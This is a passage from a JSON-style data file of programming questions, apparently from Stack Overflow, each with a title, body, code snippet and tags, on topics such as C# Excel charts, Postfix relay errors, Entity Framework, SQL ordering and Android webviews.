coordinate from 1 to 5 and y coordinate specified by ranges A1 - A5, B1 - B5, A6 -
A10, B6 - B10.\nHow can I get the chart contains 2 sets of points with x
coordinates defined at \"A\" column and y coordinates defined at \"B\"?\nThanks!\
n", " Range chartRange1 = xlWorkSheet.Range[\"A1\", \"B5\"];\n Range chartRange2 =
xlWorkSheet.Range[\"A6\", \"B10\"];\n", "excel c#-4.0"], "5603785": ["What do
Seasoned Mac Users Do?", "I'm new to the Mac environment (learning it) and I'm
coming from a 110% Windows backround. I was wondering if people could chime in to
let me know what \"real\" Mac users do.\nDo they use:\n\niCal or Entourage\niWork
or Office\niChat or Skype\nSafari or Firefox\nMail or Thunderbird\n\nThanks!\n",
"", "mac"],
"5293699": ["What aspect oriented language is a good place to start for a c++
programmer", "The only one I know of is called \"e\" which is used for test bench
design in hardware design and verification but I want something for general purpose
programming.\n", "", "c++ aop"], "2719010": ["Writing Hindi language on UILabel in
Xcode", "I have written a code where I need to display hindi numbers on the
UILabel. I used devanagari font to show that value but it doesn't work. It just
changes the look but not the language. \nI was using:\n\nBut it's not working. Can
anyone please help me with this?\n", "UIFont *font = [UIFont
fontWithName:@\"DevanagariSangamMN\" size:16];\nmyLabel.font = font;\n", "iphone
xcode uilabel uifont"], "2719013": ["Ubuntu Postfix Gmail SMTP Relay Not Working",
"I currently have postfix set up to relay messages from my websites through gmail,
and up until recently it was working perfectly. However, within the last week or so
(not really sure when) I started getting the below error whenever attempting to
send an email:\n\nHere is my configuration file:\n\nNothing changed on my server,
as far as I know...any ideas what could have caused it to stop working?\n", "Jul 20
07:40:46 localhost postfix/smtp[11958]: connect to
smtp.gmail.com[2001:4860:800a::6c]:587: Network is unreachable\nJul 20 07:40:46
localhost postfix/smtp[11958]: connect to smtp.gmail.com[173.194.76.109]:587:
Connection refused\nJul 20 07:40:46 localhost postfix/smtp[11958]: connect to
smtp.gmail.com[173.194.76.108]:587: Connection refused\n", "ubuntu postfix gmail
smtp-relay"], "4448790": ["PhpStorm ctrl+w granularity", "I think in previous
versions of PHP storm ctrl+w shortcut was more granular, in previous versions it
selects first wrapped content and in then the brackets, how can I set its
granularity in consecutive presses?\n", "", "keyboard-shortcuts phpstorm"],
"380788": ["PHP libraries for extracting page title, intro/description, main
image", "I am looking for PHP library extracting page title, intro/description,
main image from sources like (in no particular order) RDF, RSS, open graph, html.\
nI found one that uses open graph here https://github.com/scottmac/opengraph. It
has pull requests for fallback to html parsing. I feel there should be more, that
has RDF with fallback to opengraph, with fallback to RSS, fallback to HTML (and
maybe even something in between those).\n", "", "php rss opengraph rdf"],
"5082250": ["Link to full size image in Colorbox", "Is there any way to link to the
original image in Colorbox?\nI have a hack which works OK, but I want know if there
is any other way to do this:\n\n\n", "<a href=\"full_size.jpg\" title=\"<a
class='cbox_expand' href='full_size.jpg'>Expand</a>\">Photo_1</img>\n", "jquery
colorbox"], "2746756": ["Is the region of interest a good design pattern?", "The
image processing library OpenCV has a concept called a RegionOfInterest that causes
most functions to only operate on that region. The region can be set, moved, unset,
etc.\nI'm working on a similar application data, and I'm considering using a
similar pattern, selecting a region and having analysis and processing occur within
that region.\nIs the region of interest a recommended design pattern? I understand
that it improves performance in OpenCV, which is an application that needs high
performance. My application would benefit from high performance, but its not as
important as it would be in OpenCV.\nWhat alternatives are there? I'm considering
creating a Region object that solves the same problem but, for example, multiple
regions can be created from the same set of data. Does this method have any serious
disadvantages?\n", "", "design-patterns opencv language-agnostic"], "695375":
["Composite pattern with Entity Framework 4.1 code first", "I need to represent a
composite pattern with Entity Framework code first. How can this be accomplished?\n
I've read a post about using a visitor pattern, but I think it should be done
easily and less complex with Fluent API, but I don't know how.\nIt saves correctly
the data in the database but when I try to load it back again It brings wrong
data.\n\nThis is my model so far:\n\nThe problem is that when I load the database
records, it doesn't map correctly again in memory. For example:\nIf I save this\n\
nIt doesn't load one root layer with one buildingLayerComponent inside which has 2
floorLayerComponents and one of that floorLayerComponents has one
officeLayerComponent. That's the problem, how to load that hierarchy back again.\
n", "var components = from p in
ctx.LayerComponents.Include(\"ComponentsLayer\").Include(\"Component\") select p;\
n\nforeach (var p in components)\n{\n
Trace.WriteLine(\"-----------------------------------------------------------------
-------------------------------\");\n p.Apply();\n}\n", "entity-framework
entity-framework-4.1 ef-code-first code-first"], "2453611": ["How to implement WSDL
service in PHP?", "We are working on a website which will provide the client access
to a WSDL service via SOAP mechanism.\nHow do i implement a WSDL service in PHP ?\
nWhat is Apache Axis2 and Apache CXF ?\nDoes it suit my requirements ? Will it work
on PHP or do i have to code it in Java ?\n", "", "php web-services wsdl"],
"1484477": ["Ruby Difference Between Integer Methods", "What is the difference
between\n\nand\n\n?\n", "10.6.to_i\n", "ruby methods integer"], "5194959":
["firefox download file in the Download window - Firefox Extension!", "I have this
function to download a file : \n\nThe file is downloading but i don't see it in the
Firefox Download Window. How do i make the file to appear in the Download Window
and see the progress?\n", "function downloadFile(httpLoc)\n{\ntry {\n // new
obj_URI object\n var obj_URI = Components.classes[\"@mozilla.org/network/io-
service;1\"].getService(Components.interfaces.nsIIOService).newURI(httpLoc, null,
null);\n\n // new file object\n var obj_TargetFile =
Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfa
ces.nsILocalFile);\n\n obj_TargetFile.initWithPath(\"d:\\\\te.zip\");\n\n
if(!obj_TargetFile.exists()) {\n obj_TargetFile.create(0x00,0644);\n }\n\
n var obj_Persist =
Components.classes[\"@mozilla.org/embedding/browser/nsWebBrowserPersist;1\"].create
Instance(Components.interfaces.nsIWebBrowserPersist);\n\n\n\n
obj_Persist.progressListener = {\n onProgressChange : function(aWebProgress,
aRequest, aCurSelfProgress, aMaxSelfProgress, aCurTotalProgress, aMaxTotalProgress)
{\n var percentComplete = (aCurTotalProgress/aMaxTotalProgress)*100;\n
var ele = document.getElementById(\"progress element\");\n ele.innerHTML
= percentComplete + \"%\";\n },\n onStateChange:
function(aWebProgress, aRequest, aStateFlags, aStatus) {\n }\n }\n\
n // with persist flags\n const nsIWBP =
Components.interfaces.nsIWebBrowserPersist;\n const flags =
nsIWBP.PERSIST_FLAGS_REPLACE_EXISTING_FILES;\n obj_Persist.persistFlags = flags
| nsIWBP.PERSIST_FLAGS_FROM_CACHE;\n\n //save file to target\n
obj_Persist.saveURI(obj_URI, null, null, null, \"\", obj_TargetFile);\n}\ncatch (e)
\n{\n alert(e);\n}\n}\n", "javascript firefox-addon xul"], "5272990": ["Unable
to call JAX-WS client deployed on JBoss 7.1.1", "I have a generated jax-ws web
service client that runs fine when I run it as a java standalone project. However
if I add it to a web application (war) deployed on JBoss 7.1.1 and call the web
service it throws the following exception:\n\nIdea what I may be missing?\n",
"Caused by: java.lang.NoClassDefFoundError: com/ctc/wstx/io/DefaultInputResolver\
nat com.ctc.wstx.stax.WstxInputFactory.createSR(WstxInputFactory.java:628)\nat
com.ctc.wstx.stax.WstxInputFactory.createXMLStreamReader(WstxInputFactory.java:324)
\nat
__redirected.__XMLInputFactory.createXMLStreamReader(__XMLInputFactory.java:139)
[jboss-modules.jar:1.1.1.GA]\nat
org.apache.cxf.staxutils.StaxUtils.createXMLStreamReader(StaxUtils.java:1176)\nat
org.apache.cxf.interceptor.StaxInInterceptor.handleMessage(StaxInInterceptor.java:1
04)\nat
org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:2
63)\nat org.apache.cxf.endpoint.ClientImpl.onMessage(ClientImpl.java:795)\nat
org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.handleResponseInterna
l(HTTPConduit.java:1626)\nat
org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.handleResponse(HTTPCo
nduit.java:1493)\nat
org.apache.cxf.transport.http.HTTPConduit$WrappedOutputStream.close(HTTPConduit.jav
a:1401)\nat
org.apache.cxf.transport.AbstractConduit.close(AbstractConduit.java:56)\nat
org.apache.cxf.transport.http.HTTPConduit.close(HTTPConduit.java:648)\nat
org.apache.cxf.interceptor.MessageSenderInterceptor$MessageSenderEndingInterceptor.
handleMessage(MessageSenderInterceptor.java:62)\nat
org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:2
63)\nat org.apache.cxf.endpoint.ClientImpl.doInvoke(ClientImpl.java:531)\nat
org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:461)\nat
org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:364)\nat
org.apache.cxf.endpoint.ClientImpl.invoke(ClientImpl.java:317)\nat
org.apache.cxf.frontend.ClientProxy.invokeSync(ClientProxy.java:88)\nat
org.apache.cxf.jaxws.JaxWsClientProxy.invoke(JaxWsClientProxy.java:134)\nat
$Proxy189.getcodelists(Unknown Source)\n", "jboss jax-ws jbossws"], "3116290":
["How to setup Virtual Machines?", "I am running Windows Vista 32 bit Home Premium
but will be upgrading to Windows Server 64 bit (as I have the supporting hardware).
I have got a second hard drive installed which isn't holding anything yet.\nTo
setup a VM, would I simply install Windows Server on the empty HD and then VMWare
workstation to setup workstations?\nAlso, what are differencing disks? I keep
hearing this in desktop virtualisation.\nThanks\n", "", "virtual-machine
virtualization"], "4794860": ["Does Dynamo IoC work with MonoTouch and MonoDroid?",
"I'm curious, out of all the possible C# .NET inversion of control solutions out
there, if anyone has ever tried Dynamo IoC (http://www.dynamoioc.com/) and whether
or not it works with projects designed for MonoTouch and MonoDroid?\nWhile I am not
explicitly using either MonoTouch or MonoDroid, I am using Unity 3D
(http://www.unity3d.com). I expect that if an IoC framework (e.g. Dynamo) works on
MonoTouch and MonoDroid it will more likely than not also satisfy my needs with
Unity 3D.\nNOTE: I've been doing research on inversion of control containers, and
their compatibility with MonoTouch, MonoDroid, etc. for a couple of days now; this
questions does not come from laziness, but a lack of details I've found when doing
my research specifically regarding Dynamo IOC and its compatibility with MonoTouch,
MonoDroid, etc.\n", "", "dependency-injection monotouch inversion-of-control
monodroid unity3d"], "5136962": ["Query with multiple, optional where conditions
(clauses) in Rails 3?", "How can I search/filter by multiple parameters that are
each optional in Rails 3.2? With the setup below, I am currently getting the
following error. Any help is greatly appreciated.\n\nHere is the index action in
my contacts_controller:\n\nAnd here is the search method in my Contact model:\n\n",
"undefined method `paginate' for nil:NilClass\n\nApplication Trace | Framework
Trace | Full Trace\napp/controllers/contacts_controller.rb:50:in `index'\n", "ruby-
on-rails ruby-on-rails-3 ruby-on-rails-3.2"], "5962105": ["interpolation curve to
surface", "This is a interpolation problem:\nI have a function z=z(x,y) and I know
the relationship between x and y like x=f(y,x_0). Here x_0's are starting points of
curves on time y=0. Let's assume x_0=[0 1 2] has three values. For each value of
x_0, I get a curve in R^2.x1=f1(y),x2=f2(y) and x3=f3(y) and I draw z1,z2,z3 curves
in R^3 using (x1,f1), (x2,f2) and (x3,f3). How can I interpolate z1,z2,23 for
getting a surface?\nI will be grateful for any help,\nmgm\n", "", "math matlab
interpolation"], "5135494": ["Remove common words but when asked to return an
understandable content?", "I was wondering if somehow (maybe with an aglorithm) a
submitted text like the one below can be summarized (removing the common words)\n\
nScarlet and blue have featured on the club shirt for more than one\n hundred
years and the club is widely known as the \u2018Blaugrana\u2019 in\n reference to
the names of these colours in the Catalan language.\n\nbut when it is asked, to
make use of the saved data and return an understandable content. Maybe not the same
but something that you easily understand.\nWill this make use of artificial
intelligence ? What methods are today that doing this ?\nUpdate (to clear things
up):\nI want to know how does a computer can connect keywords to provide an
understandable content. For example to be returned like \n", "\"Scarlet, blue,
club, shirt\"", "php algorithm artificial-intelligence information-retrieval"],
"2313952": ["Simulating an Active Directory Login in Dev/Test Environment",
"Currently building a WPF app that will run in an environment where the user logs
into Windows PC which is on a domain (DC). The app will ask the user to enter
their login and password again when it starts up, and the login/password will be
verified against Active Directory (forgive me if my terminology is not correct
here).\nThe login is all-or-nothing; if their password is correct, there is no
(current) concern with retrieving groups, rights or anything of that nature.\nThe
development environment is not AD-based, and is not on a domain. Are there any
options for simulating this kind of login without going through the process of
setting up a domain controller and adding the development and test environment
machines to it?\nThere will be some opportunity to do deployment testing during the
course of the project (IOW create a test login app, deploy it to the user and make
sure the login works before final deployment). At the same time, I will need to
use some sort implementation that works in the test/dev environment.\nAny thoughts?
Would you recommend against simulating this in lieu of setting up a DC?\n", "", "c#
wpf active-directory windows-xp windows-authentication"], "108361": ["Is it safe to
convert a mysqlpp::sql_blob to a std::string?", "I'm grabbing some binary data out
of my MySQL database. It comes out as a mysqlpp::sql_blob type.\nIt just so
happens that this BLOB is a serialized Google Protobuf. I need to de-serialize it
so that I can access it normally.\nThis gives a compile error, since
ParseFromString() is not intended for mysqlpp:sql_blob types:\n\nHowever, if I
force the cast, it compiles OK:\n\nIs this safe? I'm particularly worried because
of this snippet from the mysqlpp documentation:\n\"Because C++ strings handle
binary data just fine, you might think you can use std::string instead of sql_blob,
but the current design of String converts to std::string via a C string. As a
result, the BLOB data is truncated at the first embedded null character during
population of the SSQLS. There\u2019s no way to fix that without completely
redesigning either String or the SSQLS mechanism.\"\nThanks for your assistance!\
n", "protobuf.ParseFromString( record.data );\n", "google blob protocol-buffers
binary-data mysqlpp"], "1206229": ["how to retain the value in a column after
applying numericstepper?", "i have an advanced data grid in flex.. i want to apply
numeric stepper on a column and also numeric stepper will be displayed only when
that row is selected. now when i click on some other row that column become
blank... how to retain the value in that column?\n\nFollowing is my
stepper.mxml...\n\n", "<mx:AdvancedDataGridColumn id=\"posnr\" visible=\"false\"
width=\"130\" dataField=\"order\"\n
editable=\"true\" editorDataField=\"orderValue\"\n
headerText=\"Order\" itemEditor=\"stepper\" resizable=\"true\"/>\n", "flex4.5"],
"936268": ["Repository pattern and data type returned", "I am using the repository
pattern and was wondering about what data type I should return. In my database I
have a string that is variable length that needs to be broken up based off of fixed
lengths. I was initially thinking of passing out the string and letting the
service layer do the parsing based on the lengths of the configured columns. I
dont really like the idea of passing a string out of the repository layer, would
rather pass out a complete object. Passing out the string seems like not enough
separation of responsibility, but having the repository having to go to another
method to get how the string should be parsed and doing the parsing seems like too
much work for the repo. Any suggestions of what should be the responsibility of
the repo and service in this case?\n", "", "c# .net repository-pattern ddd-
repositories"], "1163250": ["How can I adjust the horizontal spacing between legend
entries in PGFPlots?", "I am using to make a horizontal legend. However, the
distance between the individual legend entries is too small for my taste. Is there
a straightforward way to increase the horizontal spacing between individual legend
entries?\n", "legend columns=-1", "spacing pgfplots legend"], "5574068": ["How to
generate a random class result from a button using onClick for android?", "If you
have three classes; Red, Blue, Green. If you were to click on a button from the
main class activity, how would you have that onClick randomly select a class to be
the new activity?\nFor example:\n\n", "Button random;\nrandom =
(Button)findViewById(R.id.random);\nrandom.setOnClickListener(phaseHandler);\
nView.OnClickListener phaseHandler = new View.OnClickListener(){\npublic void
onClick(View v) {\n if(random.getId() == ((Button)v).getId()){\n Intent i
= new Intent(context, (Select one class randomly from classes Blue, Red,
Green);\n startActivity(i);\n }\n}\n", "java android random android-
intent"], "4391580": ["Using ASC/DESC within an ORDER BY CASE()", "What I need to
do is order them from Classroom, Laboratories, Lecture Halls followed by
Auditoriums. What I then need to do is to arrange them by their ID. So for the
classrooms, I start from 1 and ascend accordingly.\nThe only fields I utilize are
the roomID and the type column. (Should change type seeing as how it is an SQL
function huh?)\n\nIt seems simple enough, but I can't get it to work. So, any help
would be greatly appreciated, especially since this is probable a stupid question.\
n", "SELECT * \n FROM `rooms` \nORDER BY CASE WHEN `type` = 'Classroom'\n THEN
1 \n WHEN `type` = 'Computer laboratory'\n THEN 2 \n WHEN `type` = 'Lecture
Hall'\n THEN 3 \n WHEN `type` = 'Auditorium'\n THEN 4 \n END\n", "sql
order-by case"], "4784187": ["Negative values when absolutely positioning monitor
in xorg.conf", "In xorg.conf, in the ServerLayout section, I'm trying to arrange
screens 0 and 1. Screen 1 's left top corner should be up 1050 pixels and right 880
pixels. But negative values seem to be causing an error:\n\nHow do I accomplish
this?\n\nAs you can see, Point B should be up 1050 and to the right 880 of point
A.\n", "Screen 0 \"Screen0\" Absolute 0 0\nScreen 1 \"Screen1\" Absolute 880 -1050\
n", "linux multiple-monitors xorg"], "1196734": ["using calculated field in
calculated field", "I have field1, field2, field3, calcfield1, calcfield2,
complexCalcField1\nCalcfield1, Calcfield2 uses field1, field2 and field3 for its
values.\nComplexCalcField1 uses Calcfield1 and Calcfield2 for its value.\nYes,
whole calcfield1 and calcfield2 in complexcalcfield1 can be replaced with whole
formula that is used to create
calcfield1 and calcfield2. But, this just makes complexcalcfield1 formula
difficult to read and maintain. But using instead already precomputed calculated
fields ie calcfield1 and calcfield2 in complexcalcfield2 makes formula easier to
read and understand and maintain.\nThis so called nested calculated fields works
fine in list fields. But when I try to use such complexcalcfield in Content type
hub or in Site Level, it is saved, but later on when I see them, calcfield1 and
calcfield2 are changed and replaced with #NAME?-#NAME?=.\nDoes anyone have any idea
why this does work in list level and not in content type hub level or site
collection level.\nMy guess is somehow for complexcalcfield1 to know/calculate its
value, it must know value for calcfield1 and calcfield2. But the actual order in
which these formulas should be calculated is first calculate calcfield1/calcfield2
and then go to calculate complexcalcfield1. But if the order is reverse ie trying
to first calculate complexcalcfield1 before calculating calcfield1/calcfield2 will
lead to error.\nHave you had such problem before ? Is thery any solution for this.\
nThanks\n", "", "development sharepoint-foundation visual-studio calculated-column
spfield"], "2209070": ["Crystal Reports downgrade from .NET 4.0 to .NET 3.5", "I've
made some crystal reports in Visual studios 2010 using .NET framework 4.0.
Framework 4.0 demands SP3 on windows XP which does not suite to my client. Now I am
forced to downgrade to Framework 3.5 and most probably using Visual Studios 2008.\
nCan someone Guide how this downgrade can be performed efficiently?\n", "",
"c# .net .net-3.5 .net-4.0 crystal-reports"], "621563": ["Git: How can I monitor
activity?", "My Team currently uses an ancient, horrible source control library and
we are looking to switch to a more mature system. Git is the one that's most
appealing to us.\nWe develop software and scripts for internal consumption by our
company and we work on many projects at the same time. The same developer might be
working on a long term project over several weeks, with several small to tiny
projects in the middle.\nOur current VCS has a central repository and everyone
checks out and back into this one location. You only ever have the current copy on
your workstation.\nOne thing our current library lets me do is see who has checked
out a file but forgot to check in the changes. With git, all repositories are
local, so how can you know if someone forgot to push to the central copy? \n", "",
"git"], "1167553": ["How to convert a .NET exe to windows binary which does not
require .NET Framework for running?", "I've an exe file which is compiled under
visual studio 2010(It's source project is a Windows Form Application with C#).\nI
must embed this exe in a installsheild msi setup file & it may be installed on any
windows operating system(XP and later versions are supported). but for running my
exe, end-users have to install Microsoft .net framework 4 on their systems at
first.\nI'm looking for a solution to convert my .NET native exe to a .NET-FREE exe
which can be executed without having .NET Framework installed.\nIs there any way to
do this? (I mean a way EXPECT mono-project)\n", "", ".net binary free native exe"],
"346085": ["How to understand OR operator in a PHP statement", "I have a below PHP
statement:\n\nI have debugged and got a news thing so strange that, even if
returns , PHP still invoke the functions: , and .\nIn my mind, I always think that,
if function returns TRUE, SHOULD not invoke others.\nBut when I check it again,
for example:\n\nThe result is: and function do not invoke.\nPlease give me your
advice to optimize in this case or am I missing something?\n", " if( \n
(bool)is_check1($a) || \n (bool)is_check2($a) || \n
(bool)is_check3($a)\n ){\n callFunctionA();\n }\n", "php expression"],
"2422609": ["Bind dynamically-sized 2D-data to grid from xaml", "For example, I
have an object like this: . I want to bind it to the grid with rows and columns.\
n and could be changed by business logic so grid's number of rows and cols should
be changed either.\nFrom code I can manage that and I can bind/unbind each to
corresponding cell on element add/remove, but is there a way to do it from xaml?\
n", "data2D = List<List<string>>", "c# .net xaml binding grid"], "827673":
["Searching a datatable by checking two columns", "I am working on a search process
that was identified at this link....\nSimplest/fastest way to check if value exists
in DataTable in VB.net?\nI would like to use this search technique, but was
wondering if there is any way to add two columns to the process....\n\nI cannot use
a PK but would like to match on two fields one a string and the other is an
integer.\nthanks,\n", "Shared Function CheckValue(myTable As DataTable, columnName
As String, searchValue As String) As Boolean\nFor row As DataRow In myTable.Rows\n
If row(columnName) = searchValue Then Return True\n Next\n Return False\nEnd
Function\n", "vb.net datatable"], "3532464": ["Get the List of all Flikr PhotoSets
using Flikr.net API", "I am trying to add the name of all photosets into a list
box.I have the Token and a Valid Flickr Object.How can i do this in c#.In the
standard Flikr API \n\nis used but how can i achieve this in .net\n",
"flickr.photosets.getList\n", "c# .net api flickr"], "4201749": ["Spring+OpenJPA
TransactionRequiredException from delegate service method", "We're running into
problems with Spring 3.0.5 transactional management and OpenJPA 2.0.1 and we can't
seem to pinpoint the problem so any help is appreciated.\nThe architecture is can
be broken down as follows:\nservice-layer\n\nDAO-layer\n\nThis code performs as it
should but we really dislike the existence of transactional demarcation on DAO-
layer and would like to transfer that to service-layer above. \nHowever should we
move the annotation to service-layer delegate method and remove it from DAO layer,
we get the which indicates that a transaction is required but is not active.\nThe
question is - why and how do we \"activate\" the transaction from delegate method?
Mind you, we've tried various transaction propagation modifiers, but it didn't seem
to do anything useful (REQUIRES_NEW is the only actually applicable in this
context, but we tried the others just to be on the safe side).\nThe application
stack is as follows:\n\nSpring 3.0.5\nBitronix 2.1.1\nOpenJPA 2.0.1\nTomcat 6.0.32\
nJUnit 4.8.2 is used as testing framework\n\n", "@Autowired\nprivate DAOInterface
daoReference;\n....\npublic void doStuff() {\n boolean test = performCheck();\
n}\n....\nprivate boolean performCheck() {\n return
daoReference._performDAOCheck();\n}\n", "spring transactions tomcat6 junit4
openjpa"], "4836807": ["Why can't both sides of a bi-directional many-to-many
relationship be HashSets?", "I have two entities:\n\nA can have many , and a can
be assigned to many . Although this relationship can be represented as a uni-
directional many-to-many, I wanted to ability to delete a and have NHibernate
automatically remove that category from all as well, something that NHibernate
can't do if the relationship is only uni-directional.\nI have the two classes
mapped like this in Fluent NHibernate:\n\nHowever, whenever I try to save a new , I
get the following exception:\n\nArgumentNullException: Collection cannot be null.
Parameter name: c\n\nI pinpointed the issue to the collection type of . If I change
it to a , it works fine, but if I make it a , it throws the exception. Why can't
both sides of a bi-directional relationship be , and why does the inverse side have
to be the non-? I tried keeping as a and I changed to a , but I still get the
same exception.\n", "public class Product\n{\n public virtual
ICollection<Category> Categories { get; protected set; }\n\n public Product()\n
{\n Categories = new HashSet<Category>();\n }\n}\n\npublic class
Category\n{\n public virtual IEnumerable<Product> Products { get; protected set;
}\n\n public Category()\n {\n Products = new HashSet<Product>();\
n }\n}\n", "c# nhibernate fluent-nhibernate nhibernate-mapping many-to-many"],
"3425163": ["Need a gigabit switch that can be PoE powered", "I'm in need of a
gigabit switch that can be powered via PoE. There isn't any A/C power in the area.
Suggestions?\n", "", "switch poe"], "2261617": ["How to show a local image in
webview in android", "I just want to show a local image with some texts and other
stuffs in my webview in android.\ni.e i have webview s.t.\n\nand in abc.html file
what should i write for src tag of image (???? part)\n\np.s. the project is a
library project so i dont want to use asset folder\np.s.
file:///android_res/drawable/image.png doesnt work\n", " WebView mWebView =
(WebView) otherappView.findViewById(R.id.webView1);\n String summary
=readRawTextFile(context, R.raw.abc);\n mWebView.loadData(summary, \"text/html\",
null);\n", "android webview local drawable"], "667560": ["How about a walk through
of the lifecycle of ember/ember-data objects. Or tips/hints for debugging Ember.js
and Ember-Data?", "I'm not looking for how to debug javascript. I'm quite familiar
with the tools at hand, albeit unfamiliar with Firefox's newish debugging since
they built their own \"firebug\".\nI'm really just looking for an easy way to read
the stack trace as objects/functions get passed around quite readily to be run
through Ember's own calling mechanisms. It's easy to lose track of what function it
is that is being called and the binding of this that it's attached to. Does anyone
have any tricks or pneumonics they think of when debugging ember's stack?\n", "",
"javascript mvc asynchronous ember.js"], "2045877": ["GNU ARM toolchain with
hardware floating point support", "I have started working on STM32F4 Discovery
board and have compiled
and run a few basic programs using the latest Yagarto toolchain containing the GCC
4.6.2. Lately though on several forums I have read that many toolchains including
the latest Yagarto have problems when it comes to using the on-board hardware FPU.
I have also read that the latest CodeSourcery toolchain does support hardware
floating point, but not in the lite edition!! \nWhile digging deep into the topic I
found this toolchain which is specifically for ARM Cortex M/R controllers, and
claims to have no problems when it comes to hardware
FPU.\nhttps://launchpad.net/gcc-arm-embedded\nI wanted to know from users'
experience, if the hardware FPU problems really exist in Yagarto? I am interested
in using Yagarto because I also work on ARM7 and yagarto supports that as well. So
instead of having different toolchains for different architectures, it is
convineant to have one for both ARM7 and Cortex M/R. \nIf the FPU problems do
really exist, then could anyone suggest me a good tried and tested toolchain for
both ARM7 and Cortex M/R?\nP.S. : I use CodeSourcery's latest GNU Linux toolchain
for the BeagleBoard (Cortex A-8), havn't yet faced any issues with it.\n", "", "gcc
arm gnu toolchain fpu"], "1784791": ["Jquery tools tab speed", "I am trying to
control the speed of Jquery tools tab slider but can't quite get it to work. I am
not sure what I am doing wrong here...\nI tried following code but that didn't
work... \n\nhttp://jsfiddle.net/shavindra/j7UcM/9/\nSo I tried this... which works
but I can't control the interval\n\nDocumentation is here:
http://jquerytools.org/documentation/tabs/slideshow.html\nJSfiddle links is here
http://jsfiddle.net/shavindra/j7UcM/10/\nThanks\n", "$(function() {\n $
(\".slidetabs\").tabs(\".images > div\", {\n\n // enable \"cross-fading\"
effect\n effect: 'fade',\n fadeOutSpeed: \"slow\",\n // start from the
beginning after the last tab\n\n rotate: true,\n\n // Autoplay doesn't work
\n autoPlay: true, \n interval: 3000 \n\n // use the slideshow plugin.
It accepts its own configuration\n }).slideshow();\n\n});\n", "jquery tabs
customization slideshow"], "3957400": ["Automatically inserting \"Section,
Subsection, etc\"", "Is there a package that automatically inserts the TOC level of
the reference I inserted?\n\nSo that the text:\n\nbecomes:\n\nSo that if
automatically adapts if I change the level of a label?\n", "Section 1.1\n\\
label{a}\nSubsection 1.1.1\n\\label{b}\nSubsection 1.1.2 \n\\label{c}\n", "cross-
referencing"], "3489041": ["How to view svn diff in vimdiff style in svn", "I am
starting to use Subversion on Linux. gives a very cryptic view\u2014very, very
unfriendly to eyes. How do I interpret its output? And more importantly, is there a
way to view the difference in vimdiff kind of neat style, where both files will
open side by side?\n", "svn diff", "linux svn unix vim"], "4981833":
["ActionBarSherlock: OnOptionsItemSelected doesn't recognize R.id.home", "I'm using
the ActionBarSherlock library and I'm following the exact steps as suggested here
and here to enable navigation to the previous screen. \nMy code looks like this: \
n\nand \n\nBut R.id.home is not recognized and home shows up in red. :-/ If I use
the native actionbar the home declaration takes me to ids.xml file. But here the
declaration is not found while I use the ActionBarSherlock Activity. Am I missing
something?\n", "getSupportActionBar().setDisplayHomeAsUpEnabled(true);", "android
activity actionbarsherlock"], "607602": ["Raised Tab Bar Item not
showing \"highlighted\" state?", "I have an Xcode project with a raised tab bar
item similar to the one that Dailybooth uses.\nThe problem is that my center Icon
won't highlight to the color when touched on TestFlight but works on the iOS
Simulator, any idea why?\n", "", "xcode4.3"], "1247367": ["How to get last created
file from an FTP directory?", "I first want to get a list of files stored in an FTP
directory and then get the name of last created file using timestamp. And I'm
getting an alert box: . After checking logcat entry, I notice that the code never
reach line :\n \nBut I get to So connexion to the server seems ok.\nIt Seems like
something going wrong out there. Can someone help me deal with it. Or show me a
simple way to get the last created file from an the FTP server director?\n\nP.S: I
can't get the list of files in the directory so, I don't know if my code to
retrieve the last created file is working. Any help on that would also be
appreciated.\n[Edit] This is my AsyncTask to retrieve the list of files in the
directory. But it's still not working. I'm not getting Application Not Responding
anymore, but It not seems to do anything else. Execution get stuck at the same
point (can't reach )\n\nThanks for help. \n", "Activity is not responding",
"android ftp timestamp"], "2228729": ["Syntax error, unexpected T_STRING", "I'm
trying to add onChange to my select but i get the following error:\n\nThis is the
line 11\n\nI don't know where i went wrong!\nPlease help, Thank you!\n", "Parse
error: syntax error, unexpected T_STRING in your code on line 11", "php syntax-
error"], "5874443": ["Working with 64-bit ints and hexes in 32-bit perl", "I want
to write a perl script to parse text files with a lot of 64-bit integers in it. All
integers are written in hex.\nI need to\n\nRead hexes from input\nCompare 64-bit
ints (, , )\nSubtract 64-bit ints\nOutput 64-bit hexes\n\nI need to use 32-bit perl
and I can't use any CPAN/external module (the script must be portable).\nPS my perl
is 5.8 (and this is minimal version which will be used for the script)\nPPS bignum/
bigint errors:\n\nPPPS: no here.\n\nAnd no :\n\nPPPPS: but new() works:\n\n", "<",
"perl 64bit hex"], "3997336": ["Change to default start folder for Windows XP
command prompt", "My new work computer's command prompt automatically brings
up \"\" when I open it. Is there a way for me to change that safely?
Specifically, to \"\"? I found the method of changing the value through Google,
but it came with a warning that it \"might affect the functionality of batch
scripts.\"\nBonus note: I was originally getting at this issue in this question,
but I didn't ask very directly. The answer I ended up accepting was really good,
so I wanted to leave it there.\n", "H:\\>", "windows-xp command-line system-
defaults"], "3254577": ["Aero Glass Borders on Popup Windows in C#", "I would like
to create pop-up windows like this:\nhttp://i44.tinypic.com/345bklu.jpg\n\nIn my
application using C#. I've looked into NativeWindow but I am not sure if this is
the right way to do it. How can I accomplish this. I want a window to behave
exactly like the volume control or \"connect to\" window in Windows 7.\nEdit:\nI
forgot to mention that I would like the window to be a fixed size.\n", "", "c#
border aero pop-up"], "4896437": ["Borders disappear in Chrome when I zoom in", "I
have this really simple form: http://jsfiddle.net/TKb6M/91/. Sometimes, when I zoom
in or out using Chrome, the input borders disappear. For example, when I zoom to
90% I get:\n\nNaturally, your mileage may vary.\nIn case you're wondering about
those tags, I added them following the recommendation at How do I make an input
element occupy all remaining horizontal space?.\nIs there a problem with my CSS or
is this a Chrome bug? It seems to work fine on Firefox. What can I do to avoid this
behavior?\nThanks.\n", "<span>", "html css border zooming"], "2376047": ["Current
